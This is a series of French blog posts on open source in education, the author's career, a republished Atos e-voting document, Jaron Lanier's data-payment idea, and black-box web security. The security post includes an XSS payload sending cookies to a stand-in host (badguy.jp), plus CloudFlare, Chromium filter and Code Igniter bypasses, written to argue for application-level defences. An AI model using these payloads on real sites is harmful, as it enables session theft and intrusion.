OK, je l’ai encore fait, j’ai encore trollé… Samedi je disais sur Twitter que la porte de mes toilettes est décorée d’un panneau Epitech (c’est le cas, vous aurez une photo si vous êtes sages) et forcément dans la foulée j’ai reçu plusieurs mails me demandant pourquoi, ce que je reprochais à cette école et même un me demandant si il devait choisir une autre école finalement.

Alors je vous rassure : non je n’ai rien contre Epitech en soit, à vrai dire je m’en fiche…

Ce qui me gêne plus c’est le cursus général de l’informatique supérieure qui a tendance à former des bataillons de chefs de projet technico-fonctionnels (ce qui ne correspond pas au besoin du marché en passant hein !) et qui le fait par une pluie de connaissances dictées et normalisées par des années de recherches super intéressantes sur la théorie de la relativité du peut-être des besoins des entreprises pas représentatives du marché d’il y a 20 ans…

J’abuse : à la fin des études en général on met l’étudiant en stage pour qu’il voit comment ça se passe dans la vraie vie (qu’il réalise qu’il a payé 5 ans d’étude pour apprendre des conneries).

Gâchis extraordinaire s’il en est lorsque l’on sait qu’il y a un secteur du logiciel (au sens large) fondamental sur les interwebz et ailleurs qui manque toujours de ressources et qui est le plus formateur : l’open source.

Partant de là pourquoi ne pas ajouter un peu d’open source à ces études, pourquoi même ne pas calquer le déroulé pédagogique dessus ?

Coder pour les autres

L’un des intérêts principaux de cette proposition réside dans la rigueur et la qualité qui découle de projets voués à être diffusés de la sorte.

Il m’est arrivé de coder des trucs à l’arrache, sur le pouce, pour des besoins spécifiques personnels. A l’inverse lorsque j’ai fait des propositions de modification pour des fonctionnalités avancées de Prestashop (utilisé sur 100.000 boutiques à l’époque) j’ai pris plusieurs heures pour faire des vérifications dans tous les sens, des tests de régression, des vérifications sur l’environnement (mes modifications ne risquent-elles pas d’impacter des modules third-party ?)…

La qualité du code sortie est aussi beaucoup plus propre et on apprend à se servir d’outils assez formidables que jamais personne ne vous fera voir en école d’ingénieur actuellement (trouvez moi un cursus PHP avec du PHPCS, PHPMD, PHPUnit, …) pour valider son code de façon industrielle… Avouez que d’un coup ça donne une autre gueule aux TPs !

Travailler en équipe(s)

Puisque l’on parle d’outils justement, une des caractéristiques les plus intéressantes de l’open-source (vu sous cet angle de l’apprentissage) est sa capacité à réunir des dizaines de compétences autour d’un projet via des outils, des process, au delà souvent même de la barrière des langues. Ah oui parce que bon, les ingénieurs BAC+5 en informatique qui ne parlent pas anglais non plus ce n’est pas une réalité du marché…

J’ai vu des équipes en entreprise comme dans le monde de l’open-source essayer de trouver la meilleure suite d’outils pour communiquer, s’organiser, partager le code… A la sortie d’une école vous devriez maitriser les principaux et en connaitre quelques exotiques. Cette exhaustivité n’existe que dans le monde open-source. Dans le monde de l’entreprise (tu sais, ton stage de fin d’année) vous serez formé à une techno (SVN + Mantis + mail au hasard) et pas plus…

Toujours être à la pointe

Ah oui la veille… Bon on va pas se leurrer, si vous faites une école d’info normalement c’est pour être tranquille en émargeant à 50k€ en junior avec un CDI et des tickets resto…

Ou pas : normalement lorsque l’on arrive à ce niveau on est avant tout un passionné, quelqu’un qui veut chercher à connaitre plus que ce qu’il va utiliser potentiellement, chercher à comprendre comment fonctionne ce qu’il utilise au quotidien, découvrir de nouveaux outils lui permettant de travailler plus efficacement ou moins, …

Bref ça demande d’être capable de faire de la veille technologique, de savoir analyser un produit lorsqu’on le découvre et être capable de prendre une décision rapide sur son intérêt ou pas à l’intégrer dans tel ou tel projet.

Tout cela on peut savoir le faire de façon innée, on peut l’apprendre de façon théorique mais là encore il n’y a que dans l’open-source, avec ses collaborations de toutes part, que j’ai vu son efficacité atteindre son paroxysme. Il n’y a que dans l’open-source où j’ai vu des équipes s’organiser pour analyser l’existant concurrent, les autres produits éventuellement intégrables et prendre des décisions par rapport à tout ceci pour faire évoluer un produit sans pour autant s’astreindre à la durée d’un sprint scrum (private-troll !!!).

Contribuer à quelque chose (de grand)

Et pour finir, non sur le moins pire (last but not least quoi), le monde de l’open-source est très ouvert : vous pouvez demain contribuer à un projet qui a déjà des centaines de milliers d’utilisateurs. Sur le principe c’est génial pour tous les points évoqués plus haut et pour le produit et ses utilisateurs en eux-même à qui vous avez probablement rendu service en contribuant à la réussite dudit projet.

Mais il y a un autre point intéressant à cela : le CV. Un recruteur préférera (théoriquement hein, si vous postulez chez Crosoft ça marche plus… mais si c’est le cas quittez ce blog) voir des noms de gros et / ou beaux projets tout au long de votre cursus universitaire (voire avant et après dans l’idéal) que vos trois mois de stages à la DSI de Leclerc Bourgogne (comme pour Epitech, rien contre eux).

Je viens de passer un mois bien rempli avec notamment les RSSIL (Maubeuge), Pas Sage en Seine (la cantine) et la Nuit du Hack (Marne la Vallée) et comme à chaque fois que je suis pris par autant d’évènements j’en arrive à réfléchir sur comment j’en suis arrivé là. En février 2009 je créais mon compte Twitter, en mai 2009 j’ouvrais ce blog avec le même objectif dans les deux cas : me faire plaisir en écrivant, en partageant. Trois ans que ça dure, … ça valait bien un billet d’humeur / mylife pour une fois !

Quand je regarde un peu mon parcours, quand on me demande quelles études j’ai fait la seule chose qui me vienne à l’esprit est que sans Internet ma vie serait bien différente, bien morne. Depuis que j’ai 15 ans je travaille, d’abord à droite à gauche dans des rédactions diverses et variées de journaux papier et web – job que j’avais eu en participant sur le forum d’un journal d’ailleurs.

Puis j’ai appris à coder – sur internet pour changer – et à la fin de mon DUT je me suis lancé, j’ai créé ma société MMIX Productions. A l’époque j’avais codé et mis en place un portail d’annonces immobilières dont les bénéfices devaient servir à financer des associations qui réabilitent des logements sociaux. J’avais créé mon propre emploi, je faisais travailler jusqu’à trois personnes avec moi, mais le secteur étant ce qu’il est et mon réseau étant bien maigre à l’époque, j’ai fermé cette entreprise et ai fait tout ce que tout informaticien diplômé au chômage et ruiné envisage une fois dans sa vie : j’ai rejoint une SSII…

C’est à cette époque là que j’ai créé ce blog et mon twitter, à cette époque que mon militantisme latent s’est peu à peu imposé à moi. Que vous me l’avez imposé en me lisant, en me diffusant, en m’aidant à regarder plus loin toujours que ce j’aurai pu faire seul. Le point charnière, si je devais en désigner un, est cet article sur Wawa-Mania qui m’a valut de rencontrer la crème de l’hacktivisme français. A partir de là ça ne s’est plus jamais arrêté.

C’est en mangeant avec Serge Soudoplatoff, entre deux discussions sur les labs qu’il avait rejoint à l’époque pour les quitter depuis, que celui-ci m’a proposé de m’obtenir un rendez-vous à l’Hetic, école dans laquelle il enseigne. J’y ai donné des cours et continue aujourd’hui encore.

Ce point supplémentaire sur mon CV m’a permis d’obtenir un poste de formateur professionnel chez Alterway Formation où j’ai probablement plus appris qu’enseigné. C’était un peu le but à mes yeux.

Et c’est enfin sur mon blog que j’ai publié une annonce expliquant que je cherchais du travail le jour où j’ai eu envie de revenir plus proche du code. Cet article a été visionné et partagé un nombre de fois que je n’imaginais pas en le publiant, des entreprises très intéressantes m’ont approché et j’ai fini chez CCM Benchmark où je suis aujourd’hui, heureux.

De quoi demain sera fait je ne peux le dire, ce que je vois c’est aujourd’hui et hier. Ce que je vois c’est la part extraordinaire qu’Internet a pris dans ma vie et ce que cet outil en a fait, ce que vous en avez fait.

Et pour cela je ne vous remercierai jamais assez !

PS: J’oublie plein de choses dans l’article : mon livre, mon taff de consultant indépendant, ma découverte de certains artistes, des amis, des voyages, des soirées et moments inoubliables, …

Numérama a révélé hier un document marqué « strictly confidential » qui contenait quelques débuts de travaux autour de l’infrastructure mise en place par Atos pour Scytl et le ministère des affaires étrangères dans le but de proposer le vote par Internet aux français établis à l’étranger lors de ces législatives.

Aujourd’hui Atos a sommé Numérama de supprimer ledit document de ses colonnes ce que Numérama a fait.

Je considère cela comme de la censure pure et simple dans la mesure où il a été par de nombreuses reprises reproché ce manque de transparence. Aussi je me permets de republier ledit document et vous encourage à tous en faire autant (en réalisant bien cependant qu’il s’agit probablement là d’un acte qui peut entrainer des réprimandes de la part du grand méchant Atos).

Si Atos n’est pas satisfait du fait que ce document n’est pas le document final je les encourage à faire preuve de plus de transparence. D’ici là, Streisand it !

PS : je ne plierai pas

PS2 : je ne prends pas les LAR, envoyez moi un mail ça ira plus vite pour que refuse

• http://bayfiles.com/file/ecWz/X0nWHL/Atos.pdf
• http://www.scribd.com/doc/97947909/Atos
• http://streisand.paulds.fr/Atos.pdf
• http://megaupl… non je déconne ^^

Atos

Après une intro poussive Jaron Lanier (pionner des intertubes) a présenté au Personal Democracy Forum une idée qui, selon lui, servirait à rémunérer les utilisateurs de l’Internet pour leurs données personnelles…

Sa théorie est qu’aujourd’hui de grandes entreprises (Google, Facebook et Microsoft pour ne pas les nommer) vivent de vos données et pourraient du coup aider à résoudre les inégalités en payant les utilisateurs via un système de micro-paiement systématique à chaque utilisation (ou collecte) de ces données.

Il me semble que c’est une des pires idées que l’on puisse avoir, et voici pourquoi.

Incentive à partager de l’information

Le premier problème que je vois est bien sûr un problème de vie privée : si demain on vous dit « le plus tu partages d’informations sur ta vie privée, le plus tu gagneras d’argent » rare seront les gens qui se soucieront de ce qui est fait ensuite des données. Et quand bien même elles s’en soucieraient, elles auraient été payées pour et n’auraient plus leur mot à dire.

Au contraire il faut expliquer aux gens que tout ce qu’ils mettent sur facebook est public (même s’ils règlent leur profil en mode sociopathe associal), que toutes leurs recherches sur google, leurs achats sur amazon et plus largement tout ce qu’ils font sur le net peut (et est probablement) être enregistré et ré-utilisé pour (ou contre) vous. Libre ensuite à chacun de décider s’il veut ou non entrer dans ce système et devenir une marchandise et non plus un consommateur.

Création d’un copyright sur sa personne (avec toutes ses dérives)

Le pire probablement est là : si l’on protège la vie privée au régime du copyright on ne fait que donner plus de pouvoir encore à cette infamie qui ne devrait déjà plus utiliser (je reviens pas dans ce débat, le droit d’auteur oui, la « propriété intellectuelle » non, …).

Partant de là on peut imaginer toutes les dérives qui correspondent à son état actuel : des ayants droits d’informations personnelles par exemple. « Bonjour, je suis la SACEM de la personne, vous semblez avoir beaucoup de choses à gérer; permettez que je m’occupe de vos données personnelles, je prends que 50% de frais de fonctionnement »…

Pire encore, dans les commentaires de l’article du Nouvel Obs un Internaute suggère que la Hadopi s’en charge… Elle qui n’est pas foutue de mener à bien la simple mission que le législateur lui avait confiée.

Internet n’est pas un espace de consommation

Cette non-solution part du principe que nous sommes de simples utilisateurs, floués par les méchantes multi-nationales qui font de l’interwebz. La vérité ne pourrait pas être plus éloignée et doit être rappelée : il y a certes quelques entreprises qui trustent une part de marché importante sur le Net, mais je ne suis pas sûr que si l’on pouvait estimer la proportion elles se révèlent majoritaires.

Prendre le problème à l’envers est donc dangereux et je vous renvoie vers la conférence de Benjamin Bayart à ce sujet qui parle beaucoup mieux que moi du minitel 2.0 que nous sommes en train de créer en laissant ce type de considérations prendre assise.

Le problème des start-ups

Un des moyens de participer à cet interweb qui est le notre est d’y créer un commerce (plus important encore un média, mais là la problématique se pose moins). Ces petites boites géniales qui créent de la richesse et de l’innovation (ouah on dirait que ça sort d’un cabinet ministériel cette phrase toute faite, ah oui c’est presque le cas) pourraient être grandement impactées par une solution comme celle proposée ici : la mise en place technique et financière du tout devenant une problématique lourde et complexe à intégrer aux coûts déjà très élevés (surtout en France !) de création d’une entreprise…

 

Pour changer un peu j’ai décidé de vous livrer ici un article un peu long (non ça ça ne change pas) et technique après une micro-gueulante sur Twitter et pour expliquer un peu plus en détail mon point de vue sur la sécurité en mode boite noire. Je vais essayer de faire relativement simple mais l’article risque d’être un peu indigeste (et inintéressant) si vous n’avez pas de notion de programmation Web – promis le prochain sera sur un truc plus abordable

Depuis quelques années un phénomène a le vent en poupe dans le domaine de la sécurité Web : on essaye de nous vendre de l’antivirus à pas cher qui, une fois installé est censé rassurer le client sur la solidité de son site. Personne n’est vraiment d’accord sur où on est censé brancher ce machin, sur ce qu’il doit faire ou sur comment le considérer. J’ai ma petite idée (nulle part, rien et pas) et vais essayer de vous démontrer par une petite série d’exemples la connerie dont il s’agit…

En parallèle de mes activités de consultant en sécurité il m’arrive aussi de donner des cours de sécurité en PHP (troll interdit après ce que je vais vous balancer ici) – l’approche antivirus, patch miracle, marketing pompeux n’est pas au programme de ce que j’enseigne. Pas même lorsque je m’adresse à des chefs de projet fonctionnel (surtout pas dans ce cas !) et pour cause :

Browser anti-XSS filter (Webkit4, Chromium)

Une des plaies en terme de sécurité est la faille XSS, cette petite injection de script innocente mais qui permet parfois de mettre à genoux des sites, de réaliser des escalades de privilèges, de scanner des sous-réseaux, de prendre le contrôle d’une machine qui utiliserait un navigateur trop vieux ou trop mauvais (là je serai en train de donner un cours j’aurai toussé « Internet Explorer », mais à l’écrit ça risque d’être moins discret comme troll).

Alors les petits gens qui nous font un certain moteur de rendu à peine répandu, un certain Webkit, ont eu l’idée géniale d’intégrer un filtre contre ces petites saloperies… Je prends l’exemple de Chromium (Chrome sans Google, j’ai une âme) et voilà le message que je lis dans la console (F12) de mon navigateur si je tente une XSS sur à peu près n’importe quel site :

Refused to execute a JavaScript script. Source code of script found within request.

Tous ? Non un village (trois ou quatre identifiés en fait) résiste toujours à l’envahisseur !

Considérons par exemple le code PHP suivant (cas réel trouvé sur une interface de paiement d’un site commercial) :

…
<script type= »text/javascript »>
var page = « <?=$_GET['page']?> »;
…
</script>
…

A votre avis il se passe quoi si je mets quelque chose comme ceci dans $_GET['page'] ?

« ; var i = new Img(); i.src = « http://badguy.jp/bad_script.php?nice_cookie= » %2b document.cookie; //

Bon la réponse est simple : la requête va partir mais répondre par une 404 parce que cette page n’existe pas, mais si elle avait existé et qu’elle contenait par exemple un simple file_append de $_GET['nice_cookie'] dans un fichier de log… Bon vous avez saisi le principe

Plus drôle encore : ce filtre magique de la mort qui tue… Comment il fait la différence entre un script légitime et une XSS persistante que j’aurai ajouté au préalable via un formulaire de livre d’or, une signature sur un forum codé avec les pieds, … ?

La réponse est simple : il ne la fait pas et ne pourra jamais la faire.

J’ai inclu il y a peu un script distant en XSS persistante sur un site. Je ne voulais pas l’hoster sur le serveur de mon blog, je l’ai hosté sur un serveur qui n’a aucun nom de domaine attaché. Ca n’a pourtant posé aucun souci à Chromium de communiquer vers une adresse sous la forme d’une ip2long (plus discret) le contenu des cookies vers un script qui s’appelait steal.php (le tout a été patché sur le site en question depuis bien sûr et n’avais été testé que sur mon poste sur une seule requête).

Et c’est normal : ce n’est pas son rôle de filtrer (c’est le rôle de noscript ).

Il y a d’autres façons de bypasser ce filtre (et d’autres problèmes sur Chromium) sur lesquels je travaille encore pour le moment, suite au prochain épisode pour lui !

Reverse Proxy (CloudFlare)

On se rapproche de l’application, on arrive sur le serveur. Sur celui-ci, si je veux gagner un peu en performances je peux installer un reverse proxy. Exemple courant : lighttpd répond à tous les contenus statiques et proxifie les script (php, py, …) à apache qui a quand même plus de répondant dans le domaine.

Sauf que ce type de solutions ne suffit pas sur des systèmes à très gros trafic et sont donc arrivées les entreprises qui font du reverse proxy (Akamaï en tête pour ne pas les nommer). Principe génial, j’ai un CDN en colocation avec d’autres sites et ça répond du feu de dieu partout dans le monde (les images stockées sur facebook sont servies par Akamaï par exemple).

Le petit nouveau qui fait du bruit sur le marché c’est un certain CloudFlare. Pendant un temps je le voyais partout… Pas à cause de leur communication, à cause de leur protection super efficace qui m’affichait une landing page hideuse à chaque requête sur un site derrière leur solution !

Mon navigateur est configuré en mode pentest tout le temps. Tout est modifié ou presque sur chaque requête ou presque et des inclusions classiques sont tentées dans tous les cas… Et forcément ça CloudFlare, qui propose une solution « Security » qui bloque la requête avant qu’elle arrive sur votre serveur s’il y détecte des cochoncetées, il a pas aimé…

En image ma configuration de modify headers pour Firefox avant et après bypass de la sécurité CloudFlare :

 

Comme le jeu des unes différences c’est vachement compliqué je vais vous donner la solution : la seule vérification que fait CloudFlare sur les entêtes HTTP en mode Security c’est si le Referer est formaté comme il le souhaite à savoir : vide ou contenant le caractère « : » au moins une fois… C’est tout !

Je sais pas pour vous, mais moi j’appelle pas ça de la sécurité mais du foutage de gueule

Imaginez un instant que le développeur (partisan du moindre effort que nous sommes) se dise « bon bah CloudFlare me laisse passer que des trucs propres, je peux bosser tranquile » et stocke en base SQL des stats sur ses visiteurs (au hasard, user-agent, referer et IP ?) – A votre avis ça donne quoi dans le cas présent ?

WaF (PHPIDs, apache mod security)

On commence à se rapprocher et là il y a deux approches différentes : soit un module du serveur web (ou de cache en reverse proxy) : Apache2 mod_security, Varnish VCL_SECURITY, … soit les classes PHP, Python, Ruby qui pullulent et vous garantissent la sécurité à moindre effort (elles aussi).

Les modules sont relativement efficaces (jamais lu de doc particulière sur du bypass du système en lui-même) lorsqu’ils sont bien configurés ! Ce qui suppose que l’admin système, qui va vraisemblablement paramétrer le truc, maitrise des problématiques de sécurité applicative fine ou que le développeur maitrise l’administration système ou que les deux se mettent d’un coup à bosser ensemble… Rayez toutes les mentions inutiles, je ne vois pas un cas concrêt où ça peut se passer correctement et surtout je ne vois pas l’intérêt dans la mesure où ce qui est « développé » en conf serait vachement mieux dans du code applicatif / métier même.

Et puis il y a les classes PHP qui vous proposent, moyennant l’inclusion en tout début de votre fichier appelé de vous nettoyer les données ou d’arrêter l’execution du script en cours de route si problème. Les problèmes sont en général décrits par de magnifiques expressions régulières pas lourdingues du tout (ironie pour ceux qui ne la saisirait pas à l’écrit) qui ont déjà été bypassées sur un des leaders du marché (bon pas par un rigolo non plus ^^).

Bref une solution lourde, difficile à paramétrer et qui ne présente aucune garantie voire qui peut introduire des vulnérabilités si le truc est mal foutu : plus de codes = plus de soucis, comme dirait @manudwarf keep it simple stupid (je sais c’est pas de lui mais ça lui va bien et il l’a écrit il y a peu) !

Framework (Code Igniter)

Et pour finir ce tour de table je vais vous parler de l’endroit où cela a plus ou moins sa place, en citant bien sûr un contre-exemple…

Le framework peut (ou doit selon la philosophie du dév) proposer des outils de validation, éventuellement des outils de nettoyage et des méthodes pour y accéder facilement. Il doit faire tout ceci simplement pour éviter que le code qui sert à vérifier que mon fichier que j’ai uploadé est bien une image, je ne veux pas le ré-écrire partout. Qui plus est, si demain je veux ajouter un niveau de vérification supplémentaire, changer quelque chose, je veux pouvoir le faire une fois pour l’ensemble de mes uploads et déployer ainsi une forme de sécurité générique homogène (différent de la sécurité métier).

Mais si vous utilisez un framework, lisez le ! Faites attention au code qui est utilisé et patchez le éventuellement.

Exemple : Code Igniter, helper security de la version 2.1.1 (actuelle, j’ai créé une issue sur le GitHub)

function encode_php_tags($str)
{
return str_replace(array(‘‘), array(‘<?php’, ‘<?PHP’, ‘<?’, ‘?>’), $str);
}

Si vous ne voyez pas ce qui cloche imaginez simplement que j’envoie <?pHp et vous comprendrez pourquoi je m’arrache les cheveux

Enfin il y a la sécurité métier, les vérifications simples sur la longueur d’un champ, sa forme, … Cette partie là n’a sa place qu’au niveau de l’application et n’est pas négociable. Si vous mettez en place l’une ou l’autre des non-solutions citées plus haut vous risquez d’avoir des dév qui considèrent que « la sécurité est là vu qu’y a PHPIDs » …

Conclusion

Non j’ai pas envie de conclure, j’ai fait assez de démo, tirez en votre conclusion et discutez en dans les commentaires c’est plus simple !